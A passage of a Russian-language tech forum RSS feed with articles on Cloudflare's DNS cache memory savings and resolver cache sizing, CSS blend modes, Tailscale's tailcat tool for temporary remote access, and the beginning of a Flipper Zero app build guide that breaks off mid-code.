💬 Вопрос к сообществу Как у вас организованы правки юнитов — отдельные drop-in или всё же копия файла целиком? И случалось ли, что обновление пакета молча вернуло вендорский .service, а вы узнали об этом по упавшему сервису?]]></description><pubDate>Sat, 29 Aug 2026 08:12:54 +0000</pubDate></item><item><title>&#x41A;&#x44D;&#x448; DNS-&#x440;&#x435;&#x437;&#x43E;&#x43B;&#x432;&#x435;&#x440;&#x430; &#x43F;&#x43E;&#x434; &#x43C;&#x438;&#x43A;&#x440;&#x43E;&#x441;&#x43A;&#x43E;&#x43F;&#x43E;&#x43C;: 100 &#x422;&#x411; &#x443; Cloudflare &#x438; &#x434;&#x435;&#x444;&#x43E;&#x43B;&#x442; &#x432; 4 &#x41C;&#x411; &#x443; &#x432;&#x430;&#x441;</title><link><![CDATA[https://openode.xyz/topic/2065-%D0%BA%D1%8D%D1%88-dns-%D1%80%D0%B5%D0%B7%D0%BE%D0%BB%D0%B2%D0%B5%D1%80%D0%B0-%D0%BF%D0%BE%D0%B4-%D0%BC%D0%B8%D0%BA%D1%80%D0%BE%D1%81%D0%BA%D0%BE%D0%BF%D0%BE%D0%BC-100-%D1%82%D0%B1-%D1%83-cloudflare-%D0%B8-%D0%B4%D0%B5%D1%84%D0%BE%D0%BB%D1%82-%D0%B2-4-%D0%BC%D0%B1-%D1%83-%D0%B2%D0%B0%D1%81/?do=findComment&comment=9235]]></link><description><![CDATA[Размер одной записи кэша до и после пяти правок

Инженерная команда Cloudflare рассказала 27 августа, чем занималась с мая по июль: переупаковкой того, как записи DNS-кэша 1.1.1.1 лежат в оперативной памяти. Новых возможностей у резолвера не прибавилось ни одной. Прибавилось свободной памяти — порядка 100 терабайт по всему парку серверов, потому что одна запись похудела с 953 байт до 420. 

Само по себе это чужая инфраструктурная история. Но подход к ней применим и в масштабе одной VPS: у Unbound или dnsmasq на домашнем сервере действуют те же законы, разница лишь в количестве нулей. С одной поправкой не в вашу пользу — лимиты своего кэша вы выставляете вручную, и стоят там, как правило, значения из коробки, к которым никто не возвращался с момента установки. 

ℹ️ Справка Материал пригодится тем, у кого крутится собственный рекурсивный резолвер — Unbound, dnsmasq, AdGuard Home, CoreDNS — и особенно тем, у кого он живёт на машине со скромной памятью. Ближе к концу разобрано, как снять фактический расход и что означают полученные числа. 

Байт, который стоит 250 гигабайт

Платформа Big Pineapple обслуживает 1.1.1.1, Gateway DNS, DNS Firewall и AS112. По данным компании, в кэше единовременно лежит свыше 250 миллиардов записей. Из этой цифры следует главный тезис отчёта, и он не про красивое сравнение, а про обычное умножение: каждый лишний байт в структуре записи обходится парку более чем в 250 гигабайт. 

Здесь же стоит разобрать расхождение, которое иначе выглядит как ошибка в тексте. Если 533 сэкономленных байта умножить на 250 миллиардов, выйдет за 130 ТБ, тогда как в заголовке отчёта стоит около 100. Никакого противоречия: сотня терабайт получена замером резидентной памяти процессов, а не перемножением на бумаге. Расчётный потолок и то, что удалось увидеть в мониторинге, сходиться не обязаны. 

Где именно пряталась лишняя память

С точки зрения логики в записи не было ничего избыточного. Ключ (CacheKey) складывался из четырёх полей — qname, qtype, authenticated, tag. Значение (CacheEntry) насчитывало восемь: timestamp, inception, ttl, hits, answers, authority, additional, errors. Избыточной была раскладка этих полей в памяти. 

Пять правок в порядке, в котором их перечисляет отчёт

Первая статья расхода — контейнер Vec под списки записей: он всегда носит с собой поле capacity размером в восемь байт, и носит его даже тогда, когда запись давно собрана и меняться не будет. Вторая — разбиение ответа на три независимых списка (answer, authority, additional), каждый со своим указателем и своей длиной. Третья, самая наглядная, — перечисление типов записей: компилятор выравнивал его до 144 байт по самому объёмному варианту, хотя львиную долю трафика (свыше 80 %) составляют A и AAAA, которым нужны единицы байт. 

Проволочный формат — приём с наибольшей отдачей

Больше всех дала пятая правка: записи стали храниться в проволочном формате (wire format). Типизированные структуры уступили место единственному байтовому буферу, внутри которого записи идут одна за другой, и перед каждой стоит двухбайтовый префикс длины. То есть ровно так, как эти же записи выглядят внутри DNS-пакета. 

Выигрышей тут два. Накладные расходы на варианты перечисления просто исчезли — хранить стало нечего, кроме байтов. А отдача клиенту в большинстве случаев превратилась в копирование как есть: обратный разбор нужен лишь типам, содержащим доменные имена, то есть CNAME, NS, MX и SOA. Третьим эффектом идёт локальность — процессорному кэшу подряд лежащие байты обходятся дешевле, чем блуждание по указателям. 

Замеры проводились на наборе, повторяющем продовое распределение типов: A — 56 %, AAAA — 25 %, TXT — 19 %. Про методику это говорит важное: там, где в трафике заметная доля SVCB или подписей DNSSEC, схема «мелкие типы держим внутри, крупные выносим в кучу» отработает иначе. 

Что получилось в цифрах


МетрикаБылоСталоРазница
Память на запись953 Б420 Б−56 %
Аллокаций на запись1,1 КБ461 Б−58 %
Резидентная память, p999,3 ГБ5,3 ГБ−43 %
Резидентная память, p906,5 ГБ3,8 ГБ−42 %


Компактность потянула за собой и скорость: вставка в кэш стала быстрее на 43 %, поиск — на 19 %. Выкатывали изменения не одним махом, а постепенно: старт пришёлся на 18 мая 2026 года, полное покрытие всех сервисов — на 6 июля. 

❗ Главное Из этих процентов легко вывести неверное правило вида «поменяй Vec на Box&lt;[T]&gt; — получишь ускорение». Ускорила не смена типа сама по себе, а компактная последовательная раскладка данных при вполне определённом характере нагрузки. Другой паттерн доступа — и тот же приём не даст ничего. Приведённые числа описывают кэш Cloudflare, а не программы вообще. 

Свой резолвер: что и чем померить

Искать у себя те же 953 байта смысла нет — ваш демон написан на другом языке и устроен по-другому. Зато лимит памяти под кэш у вас задан явным числом, и с высокой вероятностью это число никто не трогал. 

Unbound

Из коробки параметры msg-cache-size, rrset-cache-size и key-cache-size выставлены в 4 МБ каждый. Фактическое потребление снимается так: 

unbound-control stats_noreset | grep '^mem\.'

Смотреть надо на две строки: mem.cache.message — это байты, занятые кэшем сообщений, и mem.cache.rrset — то же для кэша RRset. Когда значение подобралось вплотную к лимиту, записи вытесняются, не дожив до конца своего TTL, и часть запросов напрасно уходит к вышестоящему серверу. Форма stats_noreset выбрана намеренно: обычная stats счётчики обнуляет, эта — нет. 

dnsmasq

Единица измерения здесь другая: cache-size считается в именах, а не в байтах, и по умолчанию равна 150 записям — для роутера, за которым висит десяток устройств, это уже на грани. Значение 0 выключает кэширование целиком. Запущенный в отладочном режиме (-d) демон по сигналу SIGUSR1 выдаёт полный дамп кэша — простой способ посмотреть, чем тот занят на самом деле. 

AdGuard Home

В AdGuardHome.yaml ключ cache_size измеряется в байтах — логика та же, что у Unbound: это бюджет, а не счётчик имён. По соседству лежат cache_ttl_min и cache_ttl_max, которыми переопределяется TTL, пришедший от апстрима. 

✅ Как правильно Снять текущий расход: unbound-control stats_noreset | grep '^mem\.'Сопоставить mem.cache.message с msg-cache-size, а mem.cache.rrset — с rrset-cache-sizeЕсли оба упёрлись в потолок, а память на машине есть — увеличить лимиты кратно (скажем, до 32m и 64m) и перезапустить демонДля dnsmasq — убедиться, что дефолтные 150 имён не остались нетронутыми

⚠️ Осторожно Тесноту кэша не лечат растягиванием TTL. Документация dnsmasq по поводу min-cache-ttl формулирует это без обиняков: искусственное продление TTL — в общем случае затея скверная, а сам параметр там сверху ограничен часом. Кэш от этого не увеличится, зато клиенты начнут получать протухшие ответы; на доменах с часто меняющимися адресами связность отвалится именно в тот момент, когда причину искать труднее всего. 



Источники


How we saved 100 terabytes of memory by optimizing 1.1.1.1's DNS cache — инженерный блог Cloudflare, 27 августа 2026
unbound.conf(5) и unbound-control(8) — NLnet Labs
dnsmasq man page — Simon Kelley
AdGuard Home: конфигурация


💬 Вопрос к сообществу Признавайтесь: кто-нибудь после установки резолвера возвращался к размерам его кэша? Или везде так и живут дефолтные 4 МБ и 150 имён? Если снимали статистику — насколько mem.cache.message у вас далёк от лимита?]]></description><pubDate>Fri, 28 Aug 2026 08:14:11 +0000</pubDate></item><item><title>&#x411;&#x435;&#x43B;&#x44B;&#x439; &#x43B;&#x43E;&#x433;&#x43E;&#x442;&#x438;&#x43F; &#x43D;&#x430; &#x43B;&#x44E;&#x431;&#x43E;&#x439; &#x444;&#x43E;&#x442;&#x43E;&#x433;&#x440;&#x430;&#x444;&#x438;&#x438;: &#x447;&#x435;&#x43C; &#x43F;&#x43E;&#x43B;&#x435;&#x437;&#x43D;&#x44B; &#x440;&#x435;&#x436;&#x438;&#x43C;&#x44B; &#x441;&#x43C;&#x435;&#x448;&#x438;&#x432;&#x430;&#x43D;&#x438;&#x44F; CSS &#x438; &#x433;&#x434;&#x435; &#x43E;&#x43D;&#x438; &#x43F;&#x43E;&#x434;&#x432;&#x43E;&#x434;&#x44F;&#x442;</title><link><![CDATA[https://openode.xyz/topic/2064-%D0%B1%D0%B5%D0%BB%D1%8B%D0%B9-%D0%BB%D0%BE%D0%B3%D0%BE%D1%82%D0%B8%D0%BF-%D0%BD%D0%B0-%D0%BB%D1%8E%D0%B1%D0%BE%D0%B9-%D1%84%D0%BE%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D0%B8-%D1%87%D0%B5%D0%BC-%D0%BF%D0%BE%D0%BB%D0%B5%D0%B7%D0%BD%D1%8B-%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D1%8B-%D1%81%D0%BC%D0%B5%D1%88%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-css-%D0%B8-%D0%B3%D0%B4%D0%B5-%D0%BE%D0%BD%D0%B8-%D0%BF%D0%BE%D0%B4%D0%B2%D0%BE%D0%B4%D1%8F%D1%82/?do=findComment&comment=9234]]></link><description><![CDATA[Заголовок обложки — тот самый difference поверх фотографии

Редакторская вёрстка устроена так, что фотографию в герой-блок выбирает не тот, кто рисовал макет. Дизайнер положил белый логотип на тёмное небо — красиво. Через неделю в ту же карточку заезжает снимок заснеженного поля, и логотипа на нём попросту нет. Обычно спасаются полупрозрачной чёрной плашкой поверх картинки: приём честный, но фотография после него превращается в серый прямоугольник, а выбирали её ради чего-то другого. 

Альтернатива — перестать трогать фон и научить текст подстраиваться под то, что под ним оказалось. Ровно для этого в CSS есть свойство mix-blend-mode. Задачу, под которую обычно пишут скрипт с разбором яркости изображения, оно закрывает одной строкой. 

Решение в две строки и откуда оно взялось

Формулировку, с которой чаще всего и начинают знакомство с темой, дал Cody Lindsay Gordon: логотипу назначается mix-blend-mode: exclusion, дальше он подстраивается под яркость снимка сам. 

.blend-me {
  mix-blend-mode: exclusion;
}

К этому прилагается требование к разметке, о которое спотыкаются в первую очередь: слой, с которым идёт смешивание, обязан находиться ниже элемента и приходиться ему соседом, а не родителем. 

&lt;h1 class="blend-me"&gt;Hello world&lt;/h1&gt;
&lt;figure&gt;
  &lt;img src="/hero.jpg" alt=""&gt;
&lt;/figure&gt;

Что при этом считает браузер

За смешиванием стоит поканальная функция двух аргументов. Первый — цвет подложки, в спецификации он обозначен как Cb (backdrop). Второй — цвет накладываемого слоя, Cs (source). Значения нормализованы к отрезку от 0 до 1, а сама функция применяется к красному, зелёному и синему по отдельности. По такой схеме работают двенадцать режимов из шестнадцати; их называют разделяемыми (separable) — каналы друг на друга не влияют. У normal считать нечего (побеждает верхний цвет), формула soft-light кусочная и в ячейку не влезает, а оставшиеся десять сведены в таблицу. 


РежимФормула из спецификации
multiplyB = Cb × Cs
screenB = 1 − (1 − Cb) × (1 − Cs)
darkenB = min(Cb, Cs)
lightenB = max(Cb, Cs)
color-dodgeB = min(1, Cb / (1 − Cs))
color-burnB = 1 − min(1, (1 − Cb) / Cs)
hard-lightmultiply или screen в зависимости от того, темнее ли Cs половины
overlayто же, что hard-light, но слои поменяны местами
differenceB = abs(Cb − Cs)
exclusionB = Cb + Cs − 2 × Cb × Cs


Четвёрка hue, saturation, color и luminosity живёт по другим правилам — это неразделяемые режимы. Цвет в них раскладывается на тон, насыщенность и светлоту, после чего составляющие берутся из разных слоёв. У color, скажем, тон и насыщенность приходят сверху, а светлота снизу: на этом и держится раскраска чёрно-белых снимков. 

Разговоры про формулы заменяет один снимок экрана. Белое слово #fff лежит поверх одной и той же картинки, отличается только значение mix-blend-mode: 

Шестнадцать плиток, снятых в Chromium 141: цвет надписи и разметка везде совпадают

ℹ️ Справка Пропавший текст в плитках multiply, darken и color-burn — не сбой. Белый для всех трёх является нейтральным элементом, формула схлопывается до B = Cb, то есть подложка остаётся нетронутой. С hue, saturation и color история иная: тона и насыщенности у белого источника нет, так что на выходе получается подложка, у которой отняли цвет, — на светлых участках уловить разницу почти невозможно. Так что при жалобе «режим не работает» подозрение должно падать не на браузер, а на нейтральный цвет, поданный на вход. 

Слабое место — середина шкалы

Дальше начинается неприятное. Возьмём формулу difference и подставим подложку ровно посреди диапазона: abs(0.5 − 1) = 0.5. Полученное значение совпадает с фоном, надпись растворилась. С exclusion ничего не меняется: 0.5 + 1 − 2 × 0.5 × 1 = 0.5. Контраст обнуляется у обоих режимов именно на средне-серых участках — самой распространённой яркости у настоящих фотографий. 

Шкала яркости 0—100 % под одной и той же надписью, снимок из Chromium 141

⛔ Так делать нельзя Назначить основному тексту интерфейса mix-blend-mode: difference, поставив на этом точку в вопросе контраста. Норматив WCAG — 4.5:1 для обычного текста и 3:1 для крупного (от 24 px, либо от 18.66 px полужирным). Итог смешивания определяется картинкой, которую загрузит редактор, поэтому заранее выдержать эти значения нельзя в принципе. Взгляд на одну-единственную фотографию проверкой не считается. 

Вывод получается практический: смешивание хорошо себя ведёт на крупной декоративной типографике, монограммах, цифрах, разделителях и состояниях наведения — там, где просевшая читаемость не рушит сценарий. Подписям, кнопкам и абзацам нужна подложка с предсказуемым поведением. 

Контекст наложения: элемент смешивается не со всей страницей

«У меня всё то же самое, только не работает» — самая частая жалоба, и причина у неё почти всегда одна. Смешивание захватывает не всё, что нарисовано ниже, а исключительно содержимое ближайшего контекста наложения (stacking context). Появилась между текстом и картинкой обёртка, создающая собственный контекст, — и смешиваться стало не с чем. 

Список свойств, порождающих контекст наложения, заметно длиннее, чем принято помнить: сюда попадают position: fixed и contain: paint, любой filter, любой transform, объявленный will-change, opacity со значением меньше единицы, а ещё потомок flex- или grid-контейнера, которому задан z-index не в значении auto. Порождает контекст и само свойство mix-blend-mode, прямо на том узле, где его объявили. 

Три карточки с идентичной разметкой; расходится единственное свойство обёртки. Chromium 141

⚠️ Осторожно Работает и обратная неприятность. Забыли завести контекст — и партнёром по смешиванию становится вообще всё, что нарисовано под элементом: соседние карточки, заливка секции, фон документа. Достаточно одной строки на общем предке: .hero {
  isolation: isolate;
}Значение isolate принудительно заводит контекст наложения и запирает смешивание внутри блока. Поддержка во всех браузерах — с января 2020 года. 

Отдельного упоминания заслуживает случай, который вообще ни на что не похож. Фоновая заливка, объявленная у корневого элемента либо у body, продвигается браузером на канву окна — а канва в расчёте не участвует. Смешивать оказывается не с чем: партнёром выступает прозрачность, и на экране не меняется ровным счётом ничего. В обложке к этому материалу ошибки нет — снимок отдан внутреннему блоку-сцене, ему же прописан isolation: isolate, и уже поверх этой сцены лежит заголовок с difference. 

Соседнее свойство background-blend-mode

Названия похожи, области действия — нет. Там, где mix-blend-mode смешивает элемент с нарисованным под ним, background-blend-mode работает внутри одного элемента: между собой смешиваются несколько background-image и лежащий под ними background-color. Дополнительные обёртки и псевдоэлементы ради затемнения становятся не нужны. 

Четыре карточки, один и тот же файл в свойстве background-image. Снято в Chromium 141

Дуотон умещается в четыре строки: 

.duotone {
  background-image: linear-gradient(135deg, #ff2d6f, #00d4ff), url("/hero.jpg");
  background-blend-mode: color;
  background-size: cover;
  background-position: center;
}

Тон и насыщенность отдаёт верхний слой, светлоту — нижний, и вся лента обложек приходит к единой стилистике. Слои в background-image перечисляются сверху вниз, поэтому градиент стоит первым, а фотография последней. 

✅ Как правильно Притемнить снимок под белую надпись, не заводя ни одного дополнительного узла: .hero {
  background-image: url("/hero.jpg");
  background-color: #1b2440;
  background-blend-mode: multiply;
  background-size: cover;
}Степень притемнения регулируется единственным значением background-color — без второго div, без ::after и без вмешательства в HTML. 

Шпаргалка: режим под задачу


ЗадачаРежимЧто учесть
Крупный логотип или заголовок поверх произвольного фотоdifference, exclusionпровал контраста на средне-серых участках
Затемнить картинку под белый текстmultiply с тёмным цветомпредсказуемо, но гасит саму фотографию
Осветлить картинку под тёмный текстscreen со светлым цветомсъедает детали в тенях
Дуотон, единый стиль всех обложекcolor или luminosityсчитается один раз, можно закешировать в CSS
Наложить текстуру шума или бумагиmultiply, soft-lightдержите текстуру мелкой, её вес идёт в трафик
Свечение, вспышки, частицыscreen, plus-lighterplus-lighter есть в Chromium 141, plus-darker — нет
Перекрасить чёрно-белую иконкуcolorна цветном источнике результат непредсказуем
Подсветить область под курсоромdifference на элементе-курсоресвойство не анимируется, анимируйте позицию


❗ Главное Анимации mix-blend-mode не поддаётся — формулировка MDN звучит как Animation type: Not animatable. Переключать значение внутри @keyframes смысла нет; анимируют соседей — то, что лежит под элементом и над ним: положение, размер, цвет. 

Сборка для боевого проекта

Схема, которая выдерживает произвольный контент: предсказуемая подложка в основании, смешивание сверху как улучшение, проверка поддержки через @supports. 

.hero {
  position: relative;
  isolation: isolate;
  background: url("/hero.jpg") center / cover;
}

/* база: работает всегда */
.hero__title {
  color: #fff;
  text-shadow: 0 1px 3px rgb(0 0 0 / 0.75);
}

.hero::before {
  content: "";
  position: absolute;
  inset: 0;
  background: linear-gradient(to top, rgb(0 0 0 / 0.55), transparent 60%);
}

/* улучшение: только для крупного декоративного заголовка */
@supports (mix-blend-mode: difference) {
  .hero__logo {
    mix-blend-mode: difference;
    color: #fff;
  }
}

Инверсия достаётся логотипу автоматически, а текст, обязанный читаться, держится на градиентной подложке и тени — их контраст считается заранее и проверяется любым чекером. Готовый герой-блок стоит прогнать минимум на четырёх изображениях: очень тёмном, очень светлом, средне-сером и пёстром. Больше всего провалов ловит именно средне-серое. 



Источники


MDN: mix-blend-mode — список значений, формальный синтаксис, заметка о контексте наложения
MDN: blend-mode — описание каждого из шестнадцати режимов
MDN: isolation — значения и статус поддержки
W3C, Compositing and Blending Level 1 — формулы разделяемых режимов и определение изолированной группы
Cody Lindsay Gordon, Contrast Logos &amp; Text with Background Photos Using CSS Blend Modes — исходная идея с exclusion и требование к порядку элементов


💬 Вопрос к сообществу Доходило ли у вас до боевого проекта — или ограничивались градиентной подложкой? И попадались ли случаи, когда режим отрабатывал по-разному в Chromium и Safari: любопытно собрать список расхождений, пойманных руками.]]></description><pubDate>Thu, 27 Aug 2026 12:43:07 +0000</pubDate></item><item><title>&#x411;&#x435;&#x437; &#x430;&#x43A;&#x43A;&#x430;&#x443;&#x43D;&#x442;&#x430; &#x438; &#x431;&#x435;&#x437; ACL: &#x447;&#x435;&#x43C; tailcat &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x43E;&#x43B;&#x443;&#x447;&#x430;&#x441;&#x43E;&#x432;&#x43E;&#x439; &#x434;&#x43E;&#x441;&#x442;&#x443;&#x43F; &#x43A; &#x434;&#x43E;&#x43C;&#x430;&#x448;&#x43D;&#x435;&#x439; &#x43C;&#x430;&#x448;&#x438;&#x43D;&#x435;</title><link><![CDATA[https://openode.xyz/topic/2063-%D0%B1%D0%B5%D0%B7-%D0%B0%D0%BA%D0%BA%D0%B0%D1%83%D0%BD%D1%82%D0%B0-%D0%B8-%D0%B1%D0%B5%D0%B7-acl-%D1%87%D0%B5%D0%BC-tailcat-%D0%B7%D0%B0%D0%BA%D1%80%D1%8B%D0%B2%D0%B0%D0%B5%D1%82-%D0%BF%D0%BE%D0%BB%D1%83%D1%87%D0%B0%D1%81%D0%BE%D0%B2%D0%BE%D0%B9-%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF-%D0%BA-%D0%B4%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B9-%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D0%B5/?do=findComment&comment=9233]]></link><description><![CDATA[tailcat: разовый доступ по токену

Бывает задача, у которой нет красивого решения: пустить кого-то — живого человека, задачу в CI или ИИ-агента в песочнице — на домашнюю машину за NAT, но ровно на полчаса и без последствий. Обычно тут либо поднимают постоянную точку входа, либо заводят целую сеть; и то и другое переживёт задачу на месяцы. 

Инструмент, который целится именно в эту дыру, на днях выложила Tailscale. Называется он tailcat, и однострочное описание в репозитории пересказывать бессмысленно, проще процитировать: «как netcat, только поверх дата-плейна Tailscale и без её контрол-плейна». За сутки после публикации репозиторий tailscale/tailcat набрал на Hacker News больше пятисот голосов — 26 августа. Внутри собраны уже знакомые по основному продукту открытые компоненты: WireGuard в пространстве пользователя, magicsock для пробивания NAT, сетевой стек netstack из gVisor и релеи DERP. Ни аккаунта, ни прав root, ни постоянно поднятой сети от вас при этом не требуется — в README формулировка ещё лаконичнее: «Tailscale без Tailscale, от Tailscale». 

Две команды, между которыми всё и происходит

Сценарий целиком укладывается в пару строк. На той машине, куда нужно пустить: 

# на домашней машине
tailcat --serve=no-auth-ssh
# печатает адрес вида tcXXXXXXXX…

# на другой стороне
tailcat ssh tcXXXXXXXX

Адрес получается компактный: около 50 байт, если в нём лежит числовой идентификатор региона. Ставят бинарник через Go или Nix, лицензия — BSD-3-Clause: 

go install github.com/tailscale/tailcat/cmd/tailcat@latest
nix run github:tailscale/tailcat

Соединение по возможности устанавливается напрямую, точка-точка. Когда NAT пробить не получилось, трафик уходит через релей DERP. Отзывать доступ отдельной процедурой не нужно: процесс остановлен — адреса больше не существует. 

🔒 Безопасность Флаг --serve=no-auth-ssh стоит читать буквально: это SSH без аутентификации, и единственное, что отделяет чужого от вашей консоли, — знание токена. На официальной странице проекта сказано без обиняков: адрес надо «treat it like a password» — не писать в логи, не коммитить, не пересылать тем, кому доступ не полагается. Сузить круг допущенных можно ключом узла: tailcat --serve=22 --allow=nodekey:cfb6bf…ddfd16

На фоне двух привычных маршрутов

Сравнение по README tailcat и документации Tailscale, август 2026

Реверс-туннель на арендованном сервере

ssh -R 2222:localhost:22 user@vps -N

Сторонних зависимостей ноль — и в этом весь смысл варианта. Расплата идёт инфраструктурой: понадобится сам VPS, директива GatewayPorts yes в его sshd_config, ключи, юнит systemd для переподнятия туннеля после обрыва и разрешающее правило на 2222. Точка входа после этого висит на публичном адресе круглосуточно, а закрытие доступа означает возню с ключами и конфигом. 

Собственный тайлнет

tailscale up --ssh

Когда доступ нужен надолго и не одному человеку, выбирать надо именно это: устройства на учёте, политики, журнал, снятие прав парой кликов в админке. Требования, впрочем, симметричны выгодам — аккаунт у вендора либо развёрнутый своими руками Headscale, машина, постоянно состоящая в сети, и продуманный ACL. Для получаса такая подготовка избыточна. 

Остальное, что умеет тот же бинарник


--serve=8080,8443 (либо --serve=all) — проброс TCP-портов; со стороны клиента это tailcat &lt;токен&gt; 8080;
tailcat socks &lt;токен&gt; — SOCKS5 поверх того же туннеля;
--serve=exit-node — выход в интернет через удалённую машину;
tailcat genkey с флагами --region=nyc, --fixed-region, --client — стабильный ключ на замену эфемерному --key=new, чтобы адрес не менялся от запуска к запуску;
токен публикуется в DNS — my-server.example.com. 300 IN TXT "tailcat=tcXXXXXXXXX", и дальше имя принимается везде, где командная строка ждёт токен;
вместо публичного релея можно указать свой: tailcat genkey --region=derp.example.com.


⚠️ Осторожно Об ограничениях авторы пишут сами, и их три. Стабильность интерфейса не обещана — ни командная строка, ни формат обмена, так что зашивать tailcat в скрипты на годы вперёд рановато. Публичные релеи идут без SLA. И самое существенное: хостинговый релей «keeps metadata logs and isn't intended for privacy», то есть метаданные соединений пишутся, а приватность попросту не заявлена. Приватный сценарий закрывается только собственным DERP. 

ℹ️ Справка Заменой Tailscale эта штука не работает, и не по недосмотру, а сознательно: управления устройствами, политик, админки и аудита здесь нет вовсе. Постоянная многопользовательская сеть по-прежнему строится тайлнетом или Headscale. За tailcat остаётся узкая полоса — «пусти сюда вот этого и вот сейчас». 



Источники


github.com/tailscale/tailcat — репозиторий, README, флаги и лицензия
tailscale.com/tailcat — официальная страница проекта, сценарии и оговорки про релеи


💬 Вопрос к сообществу А чем разовый доступ к домашней машине раздаёте вы — реверс-туннелем на своём VPS, тайлнетом, Cloudflare Tunnel, чем-то ещё? И рискнули бы пустить в домашнюю сеть SSH, где вся аутентификация сводится к знанию одной строки?]]></description><pubDate>Thu, 27 Aug 2026 08:11:54 +0000</pubDate></item><item><title>ufbt &#x43F;&#x440;&#x43E;&#x442;&#x438;&#x432; fbt: &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43E;&#x442;&#x432;&#x435;&#x442;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x431;&#x435;&#x440;&#x451;&#x442; &#x43D;&#x430; &#x441;&#x435;&#x431;&#x44F; &#x442;&#x43E;&#x442;, &#x43A;&#x442;&#x43E; &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x43E;&#x448;&#x438;&#x432;&#x43A;&#x443; Flipper Zero</title><link><![CDATA[https://openode.xyz/topic/2062-ufbt-%D0%BF%D1%80%D0%BE%D1%82%D0%B8%D0%B2-fbt-%D1%81%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE-%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8-%D0%B1%D0%B5%D1%80%D1%91%D1%82-%D0%BD%D0%B0-%D1%81%D0%B5%D0%B1%D1%8F-%D1%82%D0%BE%D1%82-%D0%BA%D1%82%D0%BE-%D1%81%D0%BE%D0%B1%D0%B8%D1%80%D0%B0%D0%B5%D1%82-%D0%BF%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D1%83-flipper-zero/?do=findComment&comment=9232]]></link><description><![CDATA[Все команды и замеры в статье получены на живой сборке тега 1.4.3За просьбой «собрать прошивку для Flipper Zero» скрываются как минимум четыре непохожие задачи. Одному нужно собственное приложение, другому — правка в системном коде, третьему — форк со снятыми ограничениями Sub-GHz, а четвёртому собирать вообще ничего не требуется. Сложность команд у этих сценариев сопоставима; расходится другое — объём того, что потом придётся чинить своими силами. Материал ниже раскладывает все четыре варианта по полкам. Никаких умозрительных инструкций: тайминги, размеры и вывод команд сняты с реальной сборки официального репозитория на теге 1.4.3 в контейнере Debian с 2 vCPU и 7 ГБ RAM. Файлы приводятся те, что действительно оказались на диске. Уровни отличаются не сложностью команд, а объёмом ответственности📌 Заметка Базовые требования одинаковы для всех сценариев: 64-битная Linux, macOS 12+ либо Windows 10+, поставленный git и Python версии 3.8 или выше. Про компилятор думать не нужно — обе сборочные системы Flipper притаскивают собственный arm-none-eabi-gcc, не вмешиваясь в системный PATH. Сначала проверка: а надо ли вообще собиратьРаздача официальных прошивок идёт через канал обновлений, и он же остаётся самым надёжным ответом на вопрос о версиях. Текущее состояние стабильного канала выясняется одним запросом: curl -s https://update.flipperzero.one/firmware/directory.json \
  | python3 -c 'import json,sys;[print(c["id"], c["versions"][0]["version"]) for c in json.load(sys.stdin)["channels"]]'Стабильный канал сейчас отдаёт 1.4.3 — этот релиз вышел 5 декабря 2025 года. Когда задача формулируется как «обновиться» или «поставить готовый чужой форк», исходники не нужны вовсе: qFlipper и веб-апдейтер справятся за минуту, а образ приедет подписанным и проверенным. Самостоятельная сборка оправдана в трёх ситуациях: пишется приложение, правится системный код либо нужны параметры форка, которых в готовых пакетах нет. Приложение .fap: минимальный вход через ufbtИменно этот сценарий чаще всего и подразумевают, когда спрашивают про сборку. Приложения для Flipper Zero — самостоятельные файлы .fap, живущие на SD-карте отдельно от прошивки. Собирает их ufbt, урезанный вариант сборочной системы: вместо полного дерева исходников он скачивает готовый SDK. python3 -m pip install --upgrade ufbt
mkdir gig_hello &amp;&amp; cd gig_hello
ufbt create APPID=gig_helloSDK подтягивается при первом запуске — в моём случае строкой Using version: 1.4.3 с распаковкой в ~/.ufbt/current. Команда ufbt create оставляет в каталоге ровно пять файлов: gig_hello.c              исходник приложения
application.fam          манифест сборки
gig_hello.png            иконка 10×10, 1 бит
images/.gitkeep          каталог под ассеты
.github/workflows/build.yml  готовый CI на GitHub ActionsМанифест представляет собой обычный вызов на Python. Генерируется он дословно вот таким: App(
    appid="gig_hello",  # Must be unique
    name="App gig_hello",  # Displayed in menus
    apptype=FlipperAppType.EXTERNAL,
    entry_point="gig_hello_app",
    stack_size=2 * 1024,
    fap_category="Examples",
    fap_icon="gig_hello.png",  # 10x10 1-bit PNG
    fap_icon_assets="images",
)Внимания заслуживают три поля. В entry_point записано имя функции на C, откуда стартует приложение, — оно обязано совпасть с объявленным в исходнике. Через stack_size задаётся размер стека потока приложения в байтах: двух килобайт достаточно для несложной отрисовки, тогда как обращения к NFC или файловой системе потребуют большего. От fap_category зависит подкаталог SD-карты, в который приложение попадёт при установке. Всё, на что способен шаблонный gig_hello.c, — запись в лог. Подменим его минимальным приложением с экраном и выходом по кнопке; приведённый код собран и проверен на SDK 1.4.3: #include &lt;furi.h&gt;
#include &lt;gui/gui.h&gt;
#include &lt;input/input.h&gt;

static void gig_hello_draw_callback(Canvas* canvas, void* ctx) {
    UNUSED(ctx);
    canvas_clear(canvas);
    canvas_set_font(canvas, FontPrimary);
    canvas_draw_str(canvas, 2, 12, "GIG Community");
    canvas_set_font(canvas, FontSecondary);
    canvas_draw_str(canvas, 2, 28, "Built from source");
    canvas_draw_str(canvas, 2, 40, "Press Back to exit");
}

static void gig_hello_input_callback(InputEvent* event, void* ctx) {
    FuriMessageQueue* queue = ctx;
    furi_message_queue_put(queue, event, FuriWaitForever);
}

int32_t gig_hello_app(void* p) {
    UNUSED(p);

    FuriMessageQueue* queue = furi_message_queue_alloc(8, sizeof(InputEvent));

